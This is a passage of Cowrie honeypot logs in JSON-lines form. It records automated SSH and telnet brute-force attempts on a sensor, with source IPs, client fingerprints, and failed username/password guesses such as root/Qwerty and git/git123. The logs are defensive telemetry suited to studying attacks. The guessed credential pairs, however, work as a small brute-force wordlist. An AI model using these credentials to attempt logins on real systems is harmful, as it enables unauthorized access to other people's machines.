-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:21.970737Z","src_ip":"165.154.137.186","session":"3de6241a1bc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:22.706105Z","src_ip":"165.154.137.186","session":"3de6241a1bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:23.952801Z","src_ip":"165.154.137.186","session":"3de6241a1bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.46259045600891,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:24.860528Z","src_ip":"128.199.8.54","session":"f877de785ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":56770,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cda24bf9eca","protocol":"ssh","message":"New connection: 43.153.12.68:56770 (10.17.0.5:22) [session: 6cda24bf9eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:32.119697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:32.124595Z","src_ip":"43.153.12.68","session":"6cda24bf9eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:32.191933Z","src_ip":"43.153.12.68","session":"6cda24bf9eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john1234","message":"login attempt [john/john1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:32.499861Z","src_ip":"43.153.12.68","session":"6cda24bf9eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:33.572650Z","src_ip":"43.153.12.68","session":"6cda24bf9eca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56764,"dst_ip":"10.17.0.5","dst_port":22,"session":"bad444655c7f","protocol":"ssh","message":"New connection: 165.154.137.186:56764 (10.17.0.5:22) [session: bad444655c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:38.110608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:38.114815Z","src_ip":"165.154.137.186","session":"bad444655c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:38.380934Z","src_ip":"165.154.137.186","session":"bad444655c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:39.184860Z","src_ip":"165.154.137.186","session":"bad444655c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"55615941a214","protocol":"telnet","message":"New connection: 128.199.8.54:60788 (159.203.135.109:23) [session: 55615941a214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:39.810002Z"}
{"eventid":"cowrie.session.closed","duration":0.0055882930755615234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:39.815399Z","src_ip":"128.199.8.54","session":"55615941a214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:40.458094Z","src_ip":"165.154.137.186","session":"bad444655c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42324,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f7d7206d3f8","protocol":"ssh","message":"New connection: 165.154.137.186:42324 (10.17.0.5:22) [session: 8f7d7206d3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:42.078807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:42.082707Z","src_ip":"165.154.137.186","session":"8f7d7206d3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:42.333554Z","src_ip":"165.154.137.186","session":"8f7d7206d3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:43.196652Z","src_ip":"165.154.137.186","session":"8f7d7206d3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39948,"dst_ip":"10.17.0.5","dst_port":22,"session":"38e2dd87a223","protocol":"ssh","message":"New connection: 165.154.137.186:39948 (10.17.0.5:22) [session: 38e2dd87a223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:43.582154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:43.586247Z","src_ip":"165.154.137.186","session":"38e2dd87a223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:43.836863Z","src_ip":"165.154.137.186","session":"38e2dd87a223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:44.450727Z","src_ip":"165.154.137.186","session":"8f7d7206d3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:44.589550Z","src_ip":"165.154.137.186","session":"38e2dd87a223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:45.841681Z","src_ip":"165.154.137.186","session":"38e2dd87a223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58586,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b5adf64b113","protocol":"ssh","message":"New connection: 165.154.137.186:58586 (10.17.0.5:22) [session: 0b5adf64b113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:50.638125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:50.642398Z","src_ip":"165.154.137.186","session":"0b5adf64b113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:50.886215Z","src_ip":"165.154.137.186","session":"0b5adf64b113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:51.618472Z","src_ip":"165.154.137.186","session":"0b5adf64b113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:44:52.865760Z","src_ip":"165.154.137.186","session":"0b5adf64b113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":51012,"dst_ip":"159.203.135.109","dst_port":22,"session":"f60d8675c717","protocol":"ssh","message":"New connection: 85.198.19.241:51012 (159.203.135.109:22) [session: f60d8675c717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:02.272501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:03.289831Z","src_ip":"85.198.19.241","session":"f60d8675c717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:03.293310Z","src_ip":"85.198.19.241","session":"f60d8675c717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa@123456","message":"login attempt [root/aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:05.689703Z","src_ip":"85.198.19.241","session":"f60d8675c717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:09.126926Z","src_ip":"85.198.19.241","session":"f60d8675c717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":54282,"dst_ip":"10.17.0.5","dst_port":22,"session":"440a25cc4b1c","protocol":"ssh","message":"New connection: 103.216.145.2:54282 (10.17.0.5:22) [session: 440a25cc4b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:14.212686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:14.218544Z","src_ip":"103.216.145.2","session":"440a25cc4b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":37658,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9d27b1d816d","protocol":"ssh","message":"New connection: 165.154.137.186:37658 (10.17.0.5:22) [session: a9d27b1d816d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:14.316952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:14.321166Z","src_ip":"165.154.137.186","session":"a9d27b1d816d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:14.414559Z","src_ip":"103.216.145.2","session":"440a25cc4b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:14.589935Z","src_ip":"165.154.137.186","session":"a9d27b1d816d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wan","password":"wan123","message":"login attempt [wan/wan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:15.230549Z","src_ip":"103.216.145.2","session":"440a25cc4b1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:15.400796Z","src_ip":"165.154.137.186","session":"a9d27b1d816d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:16.428964Z","src_ip":"103.216.145.2","session":"440a25cc4b1c","protocol":"ssh"}
